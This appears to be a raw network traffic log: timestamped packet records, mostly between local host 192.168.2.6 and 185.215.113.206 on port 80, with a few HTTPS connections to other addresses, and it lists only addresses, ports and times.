Nov 24, 2024 04:20:48.562069893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.562151909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.562793016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.562854052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.562923908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.563097000 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.563618898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.563734055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.563760996 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.563790083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.564426899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.564569950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.564627886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.565246105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.565345049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.565351963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.565391064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.566057920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.566183090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.566241980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.566874027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.566992044 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.567004919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.567032099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.567686081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.567765951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.567802906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.567913055 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.568531990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.568586111 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.568629980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.568682909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.569338083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.569403887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.569477081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.569525957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.570149899 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.570223093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.570262909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.570312977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.570987940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.571058035 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.571099997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.571249962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.571796894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.571858883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.571904898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.571949959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.572613001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.572681904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.572721004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.572774887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.573441029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.573513031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.573534966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.573584080 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.574251890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.574317932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.574367046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.574512959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.575083971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.575181961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.575197935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.575239897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.575896025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.576013088 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.576067924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.576709032 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.576757908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.576802969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.576864004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.577517033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.577575922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.577649117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.577811003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.578346014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.578413010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.578452110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.578530073 CET	49894	443	192.168.2.6	3.167.69.129
Nov 24, 2024 04:20:48.578547955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.579160929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.579241991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.579288006 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.580008984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.580071926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.580137014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.580183983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.580807924 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.580924034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.580970049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.581671953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.581728935 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.581800938 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.581852913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.582432985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.582532883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.582587957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.583244085 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.583295107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.583344936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.583395958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.584160089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.584176064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.584212065 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.584244013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.584894896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.584918022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.584985971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.585716009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.585772038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.585803986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.585854053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.586525917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.586574078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.586611986 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.586643934 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.587347031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.587436914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.587474108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.587475061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.588159084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.588207006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.588237047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.588287115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.589021921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.589061022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.589096069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.589128017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.589817047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.589883089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.589926958 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.590117931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.590601921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.590667009 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.590692043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.590734959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.591459036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.591530085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.591561079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.591609001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.592257977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.592283964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.592325926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.592355967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.593076944 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.593187094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.593238115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.593888998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.593959093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.594000101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.594044924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.594716072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.594824076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.594887018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.595527887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.595578909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.595618963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.595705032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.596354008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.596410990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.596458912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.596503973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.597172022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.597225904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.597261906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.597464085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.597984076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.598037958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.598048925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.598095894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.630016088 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:48.630057096 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:48.630299091 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:48.630531073 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:48.630542994 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:48.646852970 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.646929026 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.646960974 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.647013903 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.647039890 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.647078037 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.657705069 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.657783985 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.657807112 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.657898903 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.658138990 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.658212900 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.658212900 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.658250093 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.658305883 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.763465881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.763526917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.763566971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.763618946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.763890028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.763931036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.764041901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.764056921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.764130116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.764864922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.765017986 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.765052080 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.765099049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.765666008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.765717030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.765724897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.765765905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.766489029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.766535997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.766777039 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.766828060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.767293930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.767493963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.767530918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.767592907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.768182039 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.768193007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.768240929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.768951893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.769007921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.769035101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.769087076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.769782066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.769793034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.769840002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.770565033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.770685911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.770735979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.770735979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.771403074 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.771461010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.771492004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.771553993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.772196054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.772268057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.772306919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.772361994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.773015022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.773066044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.773111105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.773166895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.773880959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.773947001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.773996115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.774049044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.774677038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.774758101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.774813890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.774813890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.775481939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.775538921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.775576115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.775629997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.776314020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.776412964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.776427984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.776458025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.777120113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.777216911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.777271986 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.777942896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.778001070 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.778043032 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.778089046 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.778750896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.778841019 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.778872967 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.778918028 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.779632092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.779647112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.779726982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.780415058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.780469894 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.780566931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.780621052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.781213045 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.781335115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.781342983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.781389952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.782068014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.782253027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.782293081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.782345057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.782438993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.782860041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.782926083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.782989979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.783050060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.783664942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.783725977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.783770084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.783838034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.784528017 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.784549952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.784591913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.784621954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.785315990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.785372972 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.785420895 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.785506964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.786099911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.786155939 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.786202908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.786271095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.786976099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.787024975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.787067890 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.787225008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.787739038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.787821054 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.787832022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.787889004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.788570881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.788611889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.788670063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.789469957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.789494991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.789522886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.789554119 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.790395975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.790410042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.790457964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.791045904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.791105032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.791146040 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.791205883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.791886091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.791946888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.791990995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.792038918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.792673111 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.792728901 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.792766094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.792824030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.793483973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.793555975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.793592930 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.793729067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.794358969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.794372082 CET	80	49835	185.215.113.206	192.168.2.6
